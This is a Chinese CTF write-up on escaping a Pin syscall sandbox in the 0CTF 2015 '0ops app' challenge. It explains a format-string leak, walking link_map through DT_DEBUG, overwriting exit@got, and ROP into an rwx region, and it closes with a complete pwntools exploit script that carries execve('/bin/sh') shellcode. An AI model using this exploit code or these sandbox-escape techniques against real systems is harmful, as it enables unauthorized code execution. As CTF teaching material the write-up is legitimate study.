这道题提供了一个sandbox.so
,当时我连如何运行这道题都不知道……今天阅读了http://acez.re/ctf-writeup-0ctf-2015-quals-login0opsapp-breaking-out-of-a-pin-sandbox/和https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py,终于搞明白这道题目了,在此记录。
具体地,这道题目需要用pin,下载配置好之后,就可以按如下方式来运行:
$ pin.sh -injection child -t sandbox.so -- ./login
由于目标二进制文件与login里是同一个,所以漏洞还是格式化字符串攻击,可见之前login的writeup。在那道题,我们通过修改返回地址为读flag的函数来获得flag。在这道题,我们同样可以修改返回地址,从而再次调用有问题的printf
。
如果没有sandbox保护,那我们可以利用格式化字符串攻击来泄露内存地址,获得system
,再修改返回地址。但这道题的sandbox.so
有进行保护。下面是反编译得到的一部分伪代码:
functionsyscall_check(unsignedint,LEVEL_VM::CONTEXT*,LEVEL_CORE::SYSCALL_STANDARD,void*){r13=arg3;LODWORD(r12)=LODWORD(arg0);LODWORD(rbp)=LODWORD(arg2);rbx=arg1;rsp=rsp-0x8;rax=LEVEL_PINCLIENT::PIN_GetSyscallNumber(rbx,LODWORD(arg2));if(rax!=0x3){//closeif(CPU_FLAGS&BE){//read, write, openif((rax==0x3c)||(rax==0xe7)){//exit, exit_groupreturnrax;}else{if(rax==0x25){//alarmif(*(int8_t*)activated!=0x0){rax=exit(0xffffffff);}else{*(int8_t*)activated=0x1;rax=mprotect(activated,0x1000,0x1);if(LODWORD(rax)!=0x0){rax=exit(0xffffffff);}else{returnrax;}}}else{rax=activated;if(*(int8_t*)rax==0x0){returnrax;}else{rax=exit(0xffffffff);}}}}else{if(rax>0x1){rax=activated;if(*(int8_t*)rax!=0x0){rax=open_check(LODWORD(r12),rbx,LODWORD(rbp),r13);if(LOBYTE(rax)==0x0){rax=exit(0xffffffff);}else{returnrax;}}else{returnrax;}}else{returnrax;}}}else{returnrax;}returnrax;}
可以看到,如果有调用过alarm
,那么能够进行的syscall就只有read
, write
, open
了。而不幸的是,login
在运行时有调用过alarm
。所以,直接修改login
的执行流程来调用system
或execve
是不可能的了,我们只能通过修改sandbox.so
的执行流程来调用execve
。具体地,如果把sandbox.so
里的exit@got
修改指向我们的shellcode,那么再次调用不符规定的syscall,就会造成sandbox.so
里执行exit
,即执行我们的shellcode了。
特别的,虽然我的系统开了ASLR,但是实验发现,pinbin
每次都是被加载到了固定的地址,而pinbin
是有DT_DEBUG
信息的:
$ readelf -d /opt/pin/intel64/bin/pinbin
Dynamic section at offset 0x87e3e0 contains 26 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libdl.so.2]
0x0000000000000001 (NEEDED) Shared library: [libstdc++.so.6]
0x0000000000000001 (NEEDED) Shared library: [libm.so.6]
0x0000000000000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x0000000000000010 (SYMBOLIC) 0x0
0x000000000000000c (INIT) 0x3041b4488
0x000000000000000d (FINI) 0x3045fa278
0x0000000000000004 (HASH) 0x304001060
0x0000000000000005 (STRTAB) 0x304039fb0
0x0000000000000006 (SYMTAB) 0x30400c980
0x000000000000000a (STRSZ)392376(bytes)
0x000000000000000b (SYMENT)24(bytes)
0x0000000000000015 (DEBUG) 0x0
...
结合之前关于DT_DEBUG
的文章,我们可以遍历来获得sandbox.so
在内存中的地址,进而得到sandbox.so
里的exit@got
的地址。具体地:
$ readelf -lW /opt/pin/intel64/bin/pinbin
Elf file type is DYN (Shared object file)
Entry point 0x3041b5150
There are 8 program headers, starting at offset 64
Program Headers:
Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align
PHDR 0x000040 0x0000000304000040 0x0000000304000040 0x0001c0 0x0001c0 R E 0x8
INTERP 0x001024 0x0000000304001024 0x0000000304001024 0x00001c 0x00001c R 0x1
[Requesting program interpreter: /lib64/ld-linux-x86-64.so.2]
LOAD 0x000000 0x0000000304000000 0x0000000304000000 0x7e37a4 0x7e37a4 R E 0x200000
LOAD 0x7e37a8 0x00000003049e37a8 0x00000003049e37a8 0x0a3588 0x1b3380 RW 0x200000
DYNAMIC 0x87e3e0 0x0000000304a7e3e0 0x0000000304a7e3e0 0x0001e0 0x0001e0 RW 0x8
...
我们知道.dynamic
会在0x304a7e3e0
。所以通过不断地printf
打印内存信息,遍历link_map
,获得sandbox.so
的地址。
此外,检查maps发现,内存中有rwx
的区域的,其地址也是每次不变的,应该是pinbin
引入的。所以我们可以先ROP,将shellcode写到那个rwx
的区域;并修改sandbox.so
中的exit@got
指向我们的shellcode,最后调用不符要求的syscall,即达到目的。具体地,ROP我是先通过pop; ret
把几个寄存器的值设好,再调用login
中的一个类似于readline
的函数,来实现写shellcode到指定位置。
下面是具体的代码,有些乱……
#!/usr/bin/env python2frompwnimport*importsysif__name__=='__main__':context(arch='amd64',os='linux')ip="127.0.0.1"#ip = sys.argv[1]conn=remote(ip,55555)f=open("pl","wb")defsend(data):conn.send(data)f.write(data)payload="guest\nguest123\n2\n"+"A"*256+"4\n"+"%1$p,%3$p\n1234\n"send(payload)conn.recvuntil("Password: ")conn.recvuntil("Password: ")addrs=(conn.recvline(keepends=False).split(" ")[0]).split(',')base=int(addrs[0],16)-0x1490stack=int(addrs[1],16)retAddr=stack-0x8print"ret addr is %s"%hex(retAddr)print"base is %s"%hex(base)addr0=(base+0x1053)&0xffffdefreadStr(where):username="%%%dx%%40$hn--%%41$s--"%addr0password=p64(retAddr)+p64(where)send(username+'\n'+password+'\n')conn.recvuntil('--')returnconn.recvuntil('--')[:-2]defread8(where):content=''whilelen(content)<8:res=readStr(where)content+=(res+'\x00')where+=(len(res)+1)returnu64(content[:8].ljust(8,'\x00'))#iterate link_map to find the address of libdeffindBase(dynamic,lib):r_debug=read8(dynamic)print'r_debug is at %s'%hex(r_debug)link_map=read8(r_debug+8)print'link_map is at %s'%hex(link_map)whileTrue:l_name=read8(link_map+8)l_name_str=readStr(l_name)ifl_name_str.endswith(lib):l_addr=read8(link_map)print'%s is at %s'%(l_name_str,hex(l_addr))breaklink_map=read8(link_map+24)returnl_addrpinDynamic=0x304a7e3e0sandboxBase=findBase(pinDynamic+13*16+8,'sandbox.so')defwrite8(where,what):writes={}writes[where]=what&0xffffwrites[where+2]=(what>>16)&0xffffwrites[where+4]=(what>>32)&0xffffwrites[where+6]=(what>>48)&0xffffwrites[retAddr]=addr0printed=0username=''password=''index=40forwhere,whatinsorted(writes.items(),key=operator.itemgetter(1)):delta=(what-printed)&0xffffifdelta>0:ifdelta<8:username+='A'*deltaelse:username+='%'+str(delta)+'x'username+='%'+str(index)+'$hn'index+=1password+=p64(where)printed+=deltasend(username+'\n'+password+'\n')''' 6A25 push byte +0x25 58 pop rax 0F05 syscall'''# call alarm to invoke exit in sandboxshellcode1='6a25580f05'.decode('hex')''' 6A3B push byte +0x3b 58 pop rax 99 cdq 52 push rdx EB06 jmp short 0xd 5F pop rdi 4831F6 xor rsi,rsi 0F05 syscall E8F5FFFFFF call qword 0x7 2F62696E2F7368 "/bin/sh"'''shellcode2='6a3b589952eb065f4831f60f05e8f5ffffff2f62696e2f7368'.decode('hex')rwx=0x0304aa8080exitGotSandbox=sandboxBase+0xa4e440#write shellcode address to exit@got in sandboxwrite8(exitGotSandbox,rwx+len(shellcode1))verify=read8(exitGotSandbox)print'verify: %s'%hex(verify)# 0x1363 : pop rdi ; ret# 0x1361 : pop rsi ; pop r15 ; retreadline=base+0xcb5#rop: read shellcode to rwx arearop=p64(base+0x1363)+p64(rwx)+p64(base+0x1361)+p64(0x1234)+p64(0)+p64(readline)+p64(rwx)pop5ret=base+0x135busername=("%%%dx%%10$hn--"%(pop5ret&0xffff)).ljust(16)+p64(retAddr)+ropsend(username+'\n1234\n')conn.recvuntil('--')send(shellcode1+shellcode2+'\n')conn.interactive()exit(0)
write8
那里直接用了https://rzhou.org/~ricky/0ctf2015/0ops_app/test.py的代码。我之前都是从低位到高位按顺序修改的,但他这样先排一次序再写我觉得很好。